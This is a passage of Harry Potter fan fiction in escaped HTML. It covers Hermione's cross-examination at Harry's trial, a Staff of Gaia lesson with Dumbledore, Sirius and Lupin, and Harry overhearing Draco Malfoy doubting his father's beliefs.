people.&#8221; He said with a smile. </p>\n\n<p>\n\n</p><p> Hermione found that more than a little irritating. He\'d just dismissed her evidence because of her age. Her turned back and gave another irritating half smile. </p>\n\n<p>\n\n</p><p> &#8220;Miss Granger, can you tell me everything that you know about why Mr Potter is famous?&#8221; </p>\n\n<p>\n\n</p><p> Caught off guard by such a strange question, Hermione\'s eyes travelled to the still visible Fletcher, who had finally looked up from his book, and now stared back with avid interest. </p>\n\n<p>\n\n</p><p> &#8220;Harry is famous because when he was a year old, he apparently defeated You-Know-Who, after the Dark Lord murdered his parent\'s.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;A year old? At one year of age, that boy&#8221; he said, spinning and pointing at Harry, as if Hermione didn\'t know him. </p>\n\n<p>\n\n</p><p> &#8220;Defeated the greatest Dark Sorcerer of these times?&#8221; </p>\n\n<p>\n\n</p><p> Hermione nodded, finally glad to be able to see Harry, who was looking between her, Hayes and the Jury. </p>\n\n<p>\n\n</p><p> &#8220;Hermione.&#8221; Hayes said in a friendly tone. </p>\n\n<p>\n\n</p><p> &#8220;Are you afraid of him?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Of who?&#8221; she answered confusedly. </p>\n\n<p>\n\n</p><p> &#8220;Mr Potter.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Why would I be?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;I would think that anyone would be. If not of Mr Potter himself, for yourself and many others seem to claim him to be an amiable young man, then for perhaps what he represents. Perhaps a power that no other witch or wizard understands, something within him that helped him to defeat a Dark Lord at just a year old. Or perhaps there is nothing extraordinary about him.&#8221; He looked at Harry, who looked right back. </p>\n\n<p>\n\n</p><p> &#8220;Perhaps this Dark Lord I have been told about, made a simple mistake that led to his downfall. But we will never know. For no one was present to witness any of these events. Indeed what is known, what has become legend, is purely guesswork.&#8221; </p>\n\n<p>\n\n</p><p> There were some shocked gasps from the witches and wizards behind Hermione. Mostly they seemed to be angry with the lawyer for making such a supposition about something they all believed so fervently. </p>\n\n<p>\n\n</p><p> &#8220;But of course I would not dream of saying that it is inaccurate or untrue. But my point being is that when you first heard the name Harry Potter, and whenever you hear it now, what is the first thing you think of?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;What happened to him, I think.&#8221; </p>\n\n<p>\n\n</p><p> Mr Hayes turned to Grand Judge Ravencast. </p>\n\n<p>\n\n</p><p> &#8220;If the court would indulge me for a moment?&#8221; </p>\n\n<p>\n\n</p><p> Ravencast nodded once, a stern look upon his face, suggesting that he would not be indulging the perma-tan lawyer for long. Hayes turned back to Hermione. </p>\n\n<p>\n\n</p><p> &#8220;Miss Granger, I would like it if you would play a quick game with me of word-association. I\'ll say a word or words, and you\'ll respond as quickly as you can with the first thing that comes into your head.&#8221; </p>\n\n<p>\n\n</p><p> Hermione nodded, not really liking where this was going. Mr Hayes turned to the Jury and smiled. </p>\n\n<p>\n\n</p><p> &#8220;I know many of our Jury might not understand everything said, but please bear with me, and I\'m sure that you\'ll hear some interesting answers.&#8221; </p>\n\n<p>\n\n</p><p> Hermione definitely did not like that. </p>\n\n<p>\n\n</p><p> &#8220;Right let\'s begin. Muggle?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Wizard.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Cat?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Dog.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Magic?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Christmas.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Potions?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Snape.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Joke?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Weasley.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Book?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Library.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Rules?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Professor McGonnagoll.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Flying?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Broomstick.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Love?&#8221; </p>\n\n<p>\n\n</p><p> &#8220; &#8230;family.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Ah you paused Miss Granger, one suspects that that was not the first thing you thought of.&#8221; Hayes said slyly, turning to look at Harry to prove his point. Hermione\'s cheeks flushed slightly red. That was unfair. </p>\n\n<p>\n\n</p><p> &#8220;Again Miss Granger. Troll?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Loo\'s.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Ghost?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Myrtle.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;School?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Test.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Exam?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Good.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Happy?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Friend.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Tri-wizard Cup?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Third Task.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Lockheart?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Ponce.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Toffee\'s?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Weasleys.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Dursley?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Cupboard.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Harry Potter?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Voldemort.&#8221; </p>\n\n<p>\n\n</p><p> Shocked noises were emitted from many of the present witches and wizards upon hearing the name spoken aloud. Hayes looked victorious. Turning to the Jury with a sweep of his arms. </p>\n\n<p>\n\n</p><p> &#8220;You see? The young man\'s name automatically summons the image of the most feared Sorcerer there has ever been. So feared that our magical friends cannot bear to speak his name. And yet hear it is, spoken from the lips of his closest friend. Even for her it is the first thing she thinks of when she hears his name. Would you not fear someone so closely associated with such an unnamed fear?&#8221; </p>\n\n<p>\n\n</p><p> Hermione\'s heart was pounding within her chest, tears threatened to escape the corners of her eyes. How could she, of all people, think of Voldemort and Harry at the same time? She felt shame to have hurt Harry in such a way, she risked a glance in his direction. His head was down, and from what she could see, a look of confusion and hurt had registered on his face. Hermione felt the first tearing of her heart, emotion welled up in her throat, and caught across her chest. She put a hand to her mouth, a vague attempt to prevent of gasp of choking emotion escaping her. </p>\n\n<p>\n\n</p><p> She wished she would just be dismissed, as all witnesses should be. But she wasn\'t. It took her a few moments to realise why. Fletcher handed her a tissue. She took it gratefully, and made an attempt to compose herself. </p>\n\n<p>\n\n</p><p> &#8220;Don\'t worry Hermione, Mr Hayes o\'er there, seems to like making young girls cry.&#8221; Fletcher said with a faint whisper and a smile. </p>\n\n<p>\n\n</p><p> Fletcher turned to the Jury. </p>\n\n<p>\n\n</p><p> &#8220;Well Mr Hayes does seem to have a fondness for making my young friend over there the next Dark Lord. But having seen the rise of a few myself, I think we need not worry quite yet.&#8221; He said with a smile, a few of the Jury smirked. Obviously dark magic, and the end-of-the-world, didn\'t quite tally with what they could see of the slightly too skinny and frail looking fifteen year-old schoolboy in front of them. Hermione smiled too, when she saw Harry\'s head lift and do the same. </p>\n\n<p>\n\n</p><p> Finally relieved to be talking to someone who was here to help Harry, Hermione felt her muscles begin to relax, her throat cleared of its fraught emotion blockage, and her tears began to dry. At least Fletcher wouldn\'t make Harry out to be a liar, one who would cause a grown man to tremble in fear, even as a five-year old. </p>\n\n<p>\n\n</p><p> &#8220;Well Miss Granger, hmm, do you mind if I call you Hermione, No? Good. Right then Hermione, I gather from what Harry tells me that you two didn\'t get along when you first met, is that right?&#8221; </p>\n\n<p>\n\n</p><p> Harry\'s head snapped up, suddenly very interested. </p>\n\n<p>\n\n</p><p> &#8220;Objection. The previous state of this witnesses relationship to Key witness, has no bearing on this case your Honour.&#8221; Mr Hayes interjected. </p>\n\n<p>\n\n</p><p> &#8220;I\'m simply trying to establish Key witness credibility you Honour, since my learned colleague as spent the better part of this case so far, trying to do the reverse.&#8221; </p>\n\n<p>\n\n</p><p> Judge Ravencast didn\'t blink once, but the beginnings of a smile tugged at the corners of his mouth. </p>\n\n<p>\n\n</p><p> &#8220;Objection overruled, you may continue Mr Fletcher.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Thank you your Honour.&#8221; </p>\n\n<p>\n\n</p><p> Fletcher motioned for you to answer. Harry leaned a little closer. </p>\n\n<p>\n\n</p><p> &#8220;Well no we didn\'t.&#8221; </p>\n\n<p>\n\n</p><p> Hermione glanced back at Harry and grinned lightly. Harry grinned back. </p>\n\n<p>\n\n</p><p> &#8220;Could you tell us why?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Well I guess I was a little more &#8230;well obsessive about learning, and school. I think that most people thought of me as being a bit of a swot, so I didn\'t really get on with anyone. And Harry &#8230; I guess I just thought that he would be arrogant and stuck-up because he was famous.&#8221; </p>\n\n<p>\n\n</p><p> Hermione looked at Harry sheepishly, before Fletcher regained her attention. </p>\n\n<p>\n\n</p><p> &#8220;So can you tell us what changed and made you the close friends that you are today?&#8221; </p>\n\n<p>\n\n</p><p> Hermione couldn\'t help it. She smiled. Broadly. </p>\n\n<p>\n\n</p><p>\n\n<i>She should do that more often.</i> Harry thought. </p>\n\n<p>\n\n</p><p> &#8220;He saved me from a cave troll.&#8221; </p>\n\n<p>\n\n</p><p> There was a gentle laughter throughout the courtroom. And finally Harry felt, that things might start going right. Unfortunately, he was going to be wrong. </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> There was a three-day break during the trial, which Harry was more than a little grateful for. It meant a chance to take his mind off things and relax. Well relax in the sense of not. Catching up with a mountain of schoolwork bigger than anything he\'d seen in his first four years at Hogwarts. And Dumbledore had scheduled a lesson using the Staff, why? Harry had no idea, it seemed like a most inopportune time to do so. Not only had Harry begun to experience a fraction of the sense of panic that Hermione was perpetually in when it came to revising for the O.W.L\'s, he was still having dreams. Many different kinds. Some were perpetually trapped within Knockturn Alley, pulling a pain racked old man down the cobbled street, feeling pleasure at his suffering. Other\'s were the more normal kind of nightmare for Harry. Losing his friends to Voldemort, or being back at the Dursley\'s, struggling as his head was held under a mound of foaming hot water. But he had had another dream. One of the woman with the oddly shell-shaped ears. She had spoken to him, this time in a language he should not have known, but somehow did. She had told him that all was coming to pass, as it should, and that he should not fear what lay ahead, even at it\'s worst, for he would always have the love of those around him. Nice sentiments, if only he felt that confident. </p>\n\n<p>\n\n</p><p> But as he sat across from Hermione, her face lit up in brilliant smile, sunlight warming him and casting a comforting and beautiful glow on the occupants of the Great Hall, none of it seemed to matter. Moody, Lupin, Sirius, Dumbledore, and of course Hermione, had all gathered together for his first `lesson\' in almost a month. Lupin and Sirius were huddled together, talking in hushed whispers, with amusement and mischief written on their faces. Harry was trying not to pay attention to them, or to how the golden sunlight lit up the face of someone he had long thought of as a wonderful friend, but now he saw &#8230; well it didn\'t matter what he saw, because it wasn\'t meant to be. Instead he was trying very hard not to activate the Staff of Gaia by merely being in its presence. He was getting better at it, until he was distracted again. </p>\n\n<p>\n\n</p><p> Hermione sat in front of him, looking prettier than she was allowed too, Dumbledore was stood to the right of her. The Staff was between Harry and Hermione, currently hung upright in the air as it was want to do, Harry around or no, but not alight with magic. The distraction came from Sirius and Lupin. Out of the corner of his eye he saw Sirius look at him, then at Hermione, and then whisper something to Lupin. Lupin appeared to try to stifle a giggle, he elbowed Sirius in the ribs, who then made a distinct `oof\' sound, and doubled over with laughter. </p>\n\n<p>\n\n</p><p> Any self-control Harry had was lost at that moment, and a subtle hum and a golden glow told him that the Staff was active. Harry rolled his eyes and let out a gasp of exasperation. The formerly dull grey crystal lit in a warm amber orange from within the curling gold and bronze cage. </p>\n\n<p>\n\n</p><p> Dumbledore grimaced, Hermione shot the two a look that said quite clearly `oh grow up!\' </p>\n\n<p>\n\n</p><p> Still gasping for breath, Lupin was also now giggling, Sirius muttered sorry, whilst holding his now bruised ribs, and turned around for a bout of hearty laughter. </p>\n\n<p>\n\n</p><p> Harry raised his eyebrows. He could almost imagine what a dangerous combination Sirius, Lupin and his father would have been. </p>\n\n<p>\n\n</p><p> He looked at Hermione, and shrugged his shoulders, and she smiled too, more amused now than annoyed. </p>\n\n<p>\n\n</p><p> &#8220;Well since that went so well &#8230;&#8221; Dumbledore muttered, shooting the two a half serious look of irritation. Sirius and Remus attempted to compose themselves. But as soon as he had straightened his face, Sirius looked at Harry, and began laughing again, Remus joining him. </p>\n\n<p>\n\n</p><p> Harry looked up at the sky, well the magical representation of sky, and said. </p>\n\n<p>\n\n</p><p> &#8220;Thanks Dad, great choice of Guardian.&#8221; </p>\n\n<p>\n\n</p><p> Dumbledore seemed slightly bemused at the look of mock indignation that crossed Sirius\'s face. </p>\n\n<p>\n\n</p><p> &#8220;I thought that today, we might see if you are up to trying to hold the Staff, and to control it for a while, if you\'d like a go Harry?&#8221; </p>\n\n<p>\n\n</p><p> The laughter stopped abruptly, Harry\'s guardians looked on in shock at the headmasters announcement, before beginning protestations over not being informed and various reasons as to why it should not be attempted. Hermione merely looked worried. </p>\n\n<p>\n\n</p><p> But for his part Harry had perked up. `&#8230; if you\'d like a go&#8230;\', was Dumbledore mad? Mad dogs baying at his heels, and Lucius Malfoy pointing a wand at his forehead couldn\'t keep Harry from the chance to hold the Staff again. He\'d wanted to do just that ever since he last used it, accidentally growing an entire oak tree in just over a minute, instead of the first shoot, the tree incidentally was now growing very well in the central courtyard of the school grounds. </p>\n\n<p>\n\n</p><p> Harry hadn\'t been allowed to put so much as a finger on the Staff of Gaia, since the incident. Mostly, Harry assumed, because by holding it, the Staff drained him physically, mentally and magically. But to Harry, the sensation that he experienced when he used it, was worth it. Being risen higher and higher, to a place where magic, thought, memory and an unknown source of intense magical intertwined. It was enticing. And his connection to the Staff, the ever-present subtle buzz in his solar plexus, never ceased to remind him of his desire to experience that strange knowledge and power again. He glanced at Hermione; of course this affected her too. </p>\n\n<p>\n\n</p><p> Harry still had no idea how it was that he was allowing her to experience something when he used, or attempted not to use to Staff, and he had never asked her about any of her experiences since the one back at the Burrow, the one that had started the whole thing. He felt &#8230; embarrassed. </p>\n\n<p>\n\n</p><p> Dumbledore spotted the look that had passed between the two. </p>\n\n<p>\n\n</p><p> &#8220;Don\'t worry Harry, I had actually hoped that Miss Granger could play a more active role in today\'s lesson.&#8221; </p>\n\n<p>\n\n</p><p> Curiosity and apprehension must have shown on the faces of all those present, Dumbledore gave them a calming smile. </p>\n\n<p>\n\n</p><p> &#8220;I was not planning on trying to set you a task to accomplish Mr Potter, since we all know that that doesn\'t seem to work. As a matter of fact, I would like it if you merely used the Staff to attempt to discern the exact nature of this &#8230; connection that you and Miss Granger have.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Forgive me Headmaster, but is that wise?&#8221; Sirius interrupted. </p>\n\n<p>\n\n</p><p> &#8220;I believe it is Sirius, and you should have a little more respect for your elders, don\'t think that I haven\'t heard what you and Remus call Mundugus behind his back, and I\'m not talking about `the old coot\'.&#8221; </p>\n\n<p>\n\n</p><p> Sirius promptly blushed in embarrassment; Harry shot him a questioning look. What exactly did he and Remus call Mundugus Fletcher behind his back? Harry was willing to bet the old lawyer already knew. Dumbledore continued. </p>\n\n<p>\n\n</p><p> &#8220;I believe it might be prudent, even with any potential risks undoubtedly involved, that we should see how strong this connection is, and just what it may allow you to do, or if it might be necessary at any point to sever it. Of course that is only if the both of you are willing?&#8221; he asked of Harry and Hermione. Though Hermione nodded her willingness, Harry wasn\'t so sure. </p>\n\n<p>\n\n</p><p> &#8220;Professor Dumbledore, I don\'t know how I\'m going to stay in control of anything if I\'m using the Staff, I\'m not always really aware of what I\'m doing.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;I know Harry, but as I said, we won\'t be setting you a task outside of trying to find out what your connection to Miss Granger is, so I think we should be safe.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Safe?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;You are the only one who really set\'s yourself a task, whether it be protecting your fellow student\'s from a group of cave troll\'s, or creating life from an acorn. If you set yourself the task of tracking the emotions and memories you are funnelling to Miss Granger, I have no doubt that you will succeed.&#8221; </p>\n\n<p>\n\n</p><p> Harry finally nodded his own ascent, with a last `are you certain?\' to Hermione. She simply nodded again. </p>\n\n<p>\n\n</p><p> &#8220;Well I do believe that you should try it without the Staff\'s aid first.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;How do we do that Professor? We\'re not psychic.&#8221; Hermione asked, without a hint of belligerency. </p>\n\n<p>\n\n</p><p> Dumbledore moved the Staff of Gaia from its place in the centre, and gave it to Sirius. The light in the crystal flickered weakly for a few moments, before extinguishing completely. Lupin snorted. Sirius looked mightily peeved. </p>\n\n<p>\n\n</p><p> &#8220;I\'m having an off day alright!&#8221; he excused his apparent lack of effect on the magical artefact. </p>\n\n<p>\n\n</p><p> &#8220;Now both of you close your eyes. Not you Sirius! Pull yourself together. </p>\n\n<p>\n\n</p><p> Harry and Hermione, would you please close your eyes.&#8221; </p>\n\n<p>\n\n</p><p> Harry grinned at Hermione, just before he allowed his world to go black. </p>\n\n<p>\n\n</p><p> &#8220;Now try to clear your minds of any thoughts. Imagining only a vast black space, nothing in it of any sort. But it is a comforting space, warm, nothing to fear.&#8221; </p>\n\n<p>\n\n</p><p> They did as they were told, and soon listening only to the sound of Dumbledore\'s soothing voice, they were calm and relaxed. Their breathing eased, and they sat a little easier in their chairs. It seemed like a great while past in that dark warm place before Dumbledore spoke again. </p>\n\n<p>\n\n</p><p> &#8220;Now that you are at ease, I want you to begin to look around. You will realise that in this calm place, there is more than just darkness, look for it.&#8221; </p>\n\n<p>\n\n</p><p> It was not long before Harry could feel that there was something more in the darkness, a presence. No, there were presences. He felt a shiver pass through him, and the hairs on his neck and arms were standing on end. One of the presences was not a welcomed feeling. And there was another, but this one was so alien a sensation he couldn\'t pin down a single word to describe the feeling it evoked in him. But there was another, one that evoked emotions in him that he could identify. He felt safe with it, but at times it was strange. Like some of the feelings weren\'t so much his but memories of feeling, a ghost sensation, as if he remembered something he hadn\'t himself been through. Maybe a past life or something like it? </p>\n\n<p>\n\n</p><p> &#8220;If you know that you are no longer alone, or that you know there is something in the darkness, move toward it.&#8221; </p>\n\n<p>\n\n</p><p> Harry complied, or at least he tried to. As he moved through the darkness to the presence that was familiar, it seemed only faint, like the ripples of a pond compared to the crashing waves of an ocean. </p>\n\n<p>\n\n</p><p> But then there were all three, all three were commanding his attention at once, which one was he supposed to go to again? All three had equal presence within the darkness. But then one of them, he felt one of them was looking for him in the darkness. So he pushed his way towards it, determined to find the one looking for him. All the while he was aware of the presence of the other two. One was still strangely alien, but more familiar than earlier, but still he stayed away from it. And the other he needed no prompting to stay away from, it was still cold and dark. </p>\n\n<p>\n\n</p><p> &#8220;Harry?&#8221; a soft humming voice asked. </p>\n\n<p>\n\n</p><p> &#8220;Hermione?&#8221; he felt himself answer, before he was jolted back into the Great Hall and a world of light. </p>\n\n<p>\n\n</p><p> The first thing he was aware of, other than the light he was blinking rapidly against, was that the Staff of Gaia was now situated only 3 feet away from him, standing upright without aid, instead of in Sirius\'s hand. </p>\n\n<p>\n\n</p><p> &#8220;You know we should probably get a leash for that thing.&#8221; His godfather drawled. </p>\n\n<p>\n\n</p><p> &#8220;Welcome back Mr Potter. I had begun to fear that we\'d lost you inside that mind of yours again.&#8221; The headmaster said with a shadow of a smile on his face. </p>\n\n<p>\n\n</p><p> &#8220;Your lucky Hermione here could tell us you were okay, Remus was about to pour cold water over your head.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;I was not.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Yes you were.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Was not.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Were too.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Was &#8230; shut up Sirius!&#8221; </p>\n\n<p>\n\n</p><p> Dumbledore rolled his eyes, and looked at Harry and Hermione. </p>\n\n<p>\n\n</p><p> &#8220;I don\'t think that they ever left school, do you?&#8221; </p>\n\n<p>\n\n</p><p> They grinned in response. Sirius pouted. Hermione felt her legs go slightly funny. Harry\'s godfather was sort of cute, less thirteen years of Azkaban acquired grime, and given six months of good food to fill out. </p>\n\n<p>\n\n</p><p> Hermione looked over at Harry. </p>\n\n<p>\n\n</p><p> &#8220;I was worried about you, I thought you\'d gotten lost. You were gone a while.&#8221; She said quietly. </p>\n\n<p>\n\n</p><p> &#8220;I didn\'t mean to worry, I have no idea how long I was `gone\'. And I didn\'t get lost, just &#8230; distracted.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Any chance of you telling us where abouts in Never-Neverland you were?&#8221; Sirius asked Harry. </p>\n\n<p>\n\n</p><p> &#8220;Never-Neverland?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;You know, in the children\'s story, Peter Pan. It\'s a muggle story.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Oh, I\'ve heard of Peter Pan, but I was never told children\'s stories.&#8221; </p>\n\n<p>\n\n</p><p> Sirius looked momentarily uncomfortable. </p>\n\n<p>\n\n</p><p> &#8220;Your mother used to read you muggle fairytales all the time.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;She did?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Yes. And we never stopped teasing her about it.&#8221; </p>\n\n<p>\n\n</p><p> Harry hated that. Remus and Sirius had around twenty years of memories about his parent\'s each. The only thing he remembered was their last conversation before Voldemort murdered them. </p>\n\n<p>\n\n</p><p> &#8220;Well perhaps we should take a break for a little while. It could give your minds a rest, or perhaps allow to look at some schoolwork, as I know you\'ve both been worried about your studies.&#8221; Dumbledore said wryly, specifically glancing at Harry, amusement written across his face. </p>\n\n<p>\n\n</p><p> &#8220;Well I could do with a break.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;I wasn\'t asking you Mr Black.&#8221; </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> Harry\'s notes slipped from his grasp for what felt like the hundredth time, luckily the corridor was empty as he passed the open courtyard that was at the centre of the many buildings that made up Hogwart\'s school. </p>\n\n<p>\n\n</p><p> Most students had gone to their last double lesson, so Harry was on his way back to Gryffindor tower, after a few long hours of catch-up study in the library. He was then due to return to the Great Hall for the end of the Staff lesson, before dinnertime. </p>\n\n<p>\n\n</p><p> But Harry felt like his brain was going to start dribbling out of his ears. The trial was really starting to eat into his study time, ordinarily the idea of scraping by in his exams wouldn\'t bother him, but this year it was different. Granted this year, he had even more on his mind than normal, but finding out that his father, James Potter had been an Auror, had made somewhat of a difference. Hearing Remus tell the tales of the Marauders most Thursday nights was making a difference. He wanted to do well at school. Not only that he needed to do well, if he were to ever have any chance of becoming an Auror. Not that he had made up his mind about that, he was still a little miffed that Moody and the others had been training him for it without his knowledge, disguising it as more Staff-related stuff. But it would be nice to know he had options when he left school, maybe an apprenticeship, since there were no University\'s in the wizarding world, only `college\'s of further education\'. Harry didn\'t really understand the difference, but he was sure Hermione would explain it to him if he asked nicely. So not getting the chance to learn anything was not productive. </p>\n\n<p>\n\n</p><p> Bending down with an irritated sigh, he began picking up the scattered parchments. Lighting the tip of his wand to get a better view in the shadowed corridor. It was then that something caught his eye. A familiar blond head, across the grassy courtyard, standing in front of a large Oak tree that Harry had accidentally grown to full size in his first lesson using the Staff. </p>\n\n<p>\n\n</p><p> The Oak had been transported very carefully under instruction of Professors Sprout and Flitwick, out into the courtyard, roughly in the middle, to the left and up a bit. The tree had taken very well to the rich soil on Hogwarts grounds, growing larger and greener in a handful of months. It was a living testament to Harry\'s own power. </p>\n\n<p>\n\n</p><p> A living testament that had just been kicked savagely by Draco Malfoy. </p>\n\n<p>\n\n</p><p> Harry would have felt more incensed if he hadn\'t been stifling his laughter. Malfoy had grabbed his foot and hissed in pain. Did he really expect to take on a twelve-foot Oak tree and win? Malfoy hopped backwards, still holding his throbbing foot. Curious, Harry moved quietly through the open air corridors on the outer edge of the courtyard, in time to hear Malfoy mumbling to himself. </p>\n\n<p>\n\n</p><p> &#8220;Dumb tree. Yet another testament to the Grand Harry Potter! Lord of Squibs and Mudbloods everywhere!&#8221; the blond was saying in a sing-songy voice, like he was telling an epic story. </p>\n\n<p>\n\n</p><p> &#8220;Stupid tree. As wooden as Potter\'s modesty.&#8221; </p>\n\n<p>\n\n</p><p> Harry was a bit miffed about that. There was nothing wooden about his modesty; he truly hated the attention his name brought him. Maybe he should change it. John Smith? Nope, it wouldn\'t work, not as long as he had that scar on his forehead. </p>\n\n<p>\n\n</p><p> Curious again he edged closer, until he could peer around one of the stone pillars forming the open corridors, and see Draco\'s face. </p>\n\n<p>\n\n</p><p> There was a look on it he had never seen before, and he wondered what it was. </p>\n\n<p>\n\n</p><p> Still clutching his self-inflicted injured foot, Draco hobbled to sit down, facing the tree, apparently unconcerned about being late for class. </p>\n\n<p>\n\n</p><p>\n\n<i>Probably has potions next.</i> Harry thought. </p>\n\n<p>\n\n</p><p> Draco gazed up at the tree, but with none of his earlier malice, in fact he appeared &#8230; sad? His gaze flickered skywards. The Slytherin then began talking softly to himself, as though he were afraid of being overhead which, of course, he was. </p>\n\n<p>\n\n</p><p> &#8220;Why am I doing this? I don\'t have to do everything father tells me to. I\'m fifteen, I\'m supposed to become my own person, maybe that\'s why I feel &#8230;&#8221; Draco looked down at his foot, then back skywards. It was almost as if he was asking whatever powers there were, to answer him. </p>\n\n<p>\n\n</p><p> &#8220;Potter and the others &#8230; their not such a bad lot.&#8221; He said in a rush, as though he couldn\'t say it any other way, or it might stick in his throat. Harry\'s mouth dropped open a little. </p>\n\n<p>\n\n</p><p> &#8220;True their all Mudblood and dirt poor, but &#8230;&#8221; </p>\n\n<p>\n\n</p><p> Now that, was something Harry expected Draco to say, but once again, he was about to be surprised. </p>\n\n<p>\n\n</p><p> &#8220; &#8230; but &#8230; does that really mean that much? Does it really make as much difference as father says?&#8221; the blond shook his head. </p>\n\n<p>\n\n</p><p> Harry was by now fascinated. Who would have thought that Draco Malfoy had the potential to be anything other than a Deatheater, a miniature Lucius Malfoy? </p>\n\n<p>\n\n</p><p> &#8220;No father is right. I\'m a pureblood wizard, that count\'s for something!&#8221; </p>\n\n<p>\n\n</p><p> Draco\'s face told Harry that the Slytherin was trying to force the conviction into his voice. Conviction he didn\'t really feel. </p>\n\n<p>\n\n</p><p> &#8220;But Weasel, the Weasley\'s are purebloods. Hell even Neville is a pureblood, and he\'s practically a squib! </p>\n\n<p>\n\n</p><p> And I\'m &#8230; I\'m not as &#8230; not as strong as I ought to be. Not as strong as a Malfoy should be. </p>\n\n<p>\n\n</p><p> I could be stronger I know it! I know I could be. But &#8230; but I don\'t want to be, I can\'t do it!&#8221; something bordering on terror passed over the young man\'s face. </p>\n\n<p>\n\n</p><p> &#8220;What if they\'re not lying? What if the rumours are true, and my father really is a Deatheater? I can\'t be&#8230;&#8221; </p>\n\n<p>\n\n</p><p> &#8220;DRACO!&#8221; </p>\n\n<p>\n\n</p><p> Draco\'s head snapped back, at the sound of Pansy Parkinson\'s high, shrill voice. She was hurrying across the courtyard as fast as her new heels could carry her. Which was not all that fast. </p>\n\n<p>\n\n</p><p> &#8220;Are you alright?&#8221; she asked, concern mixing with an overly large, irritating smile. Falsities were evident in every pore. </p>\n\n<p>\n\n</p><p> Sure most Slytherin\'s weren\'t that kind, brave or hard working, but they were loyal to each other in a pinch. Well, as long as it served a mutual purpose anyway. </p>\n\n<p>\n\n</p><p> Draco\'s usual sneer had reappeared the moment his fellow Slytherin had arrived at his side. She proffered a hand to help him to his feet. </p>\n\n<p>\n\n</p><p> &#8220;Fine Pansy, just giving Potter\'s tree here a good-kicking. Since we can\'t get anywhere near him these days.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Not even on the Quidditch pitch.&#8221; Pansy said, a sly smile tugging at her lips. She noticed the disgusted look Draco gave her, and quickly began compensating. </p>\n\n<p>\n\n</p><p> &#8220;Is that how you hurt your foot?&#8221; she said, slipping one arm under Draco\'s to help him along. </p>\n\n<p>\n\n</p><p> Draco recovered from his earlier irritation at Pansy\'s putdown to make one of his own. </p>\n\n<p>\n\n</p><p> &#8220;Yeah, turns out the tree is as thick as Potter. Maybe you\'d have more luck with it.&#8221; </p>\n\n<p>\n\n</p><p> Pansy made an irritating sound that was bordering on laughter, only fake. She knew what pureblood families had the most prestige; it wouldn\'t do to alienate one of the most powerful after all. Not when her parent\'s were practically arranging the marriage already. </p>\n\n<p>\n\n</p><p> Harry remained in his hiding position for a while after they had left, a little shocked. </p>\n\n<p>\n\n</p><p>\n\n<i>He really doesn\'t know his father is a Deatheater?</i>\n\n</p>\n\n<p>\n\n</p><p> That was certainly something of a surprise, given how blas&#233; the Slytherin seemed to be about letting people know it. But then it hit him. It was about power. People feared Deatheaters. People feared anything to do with them. So if they thought Malfoy was related to one, they were gonna damn well keep out of his way. No one wants to go home to see a Dark Mark above it. Even within his own house, Malfoy had power, because, as the rumours went, Malfoy\'s father was in the inner circle, You-Know-Who\'s most trusted advisors. </p>\n\n<p>\n\n</p><p> A little shaken by the news that his school archenemy might not be as rotten to the core as he\'d previously thought, Harry made his way back to the Gryffindor common room. Dropping his parchment\'s a few more time\'s in his distraction. </p>\n\n<p>\n\n</p><p>\n\n<i>When did everything stop being black and white, and become grey all of a 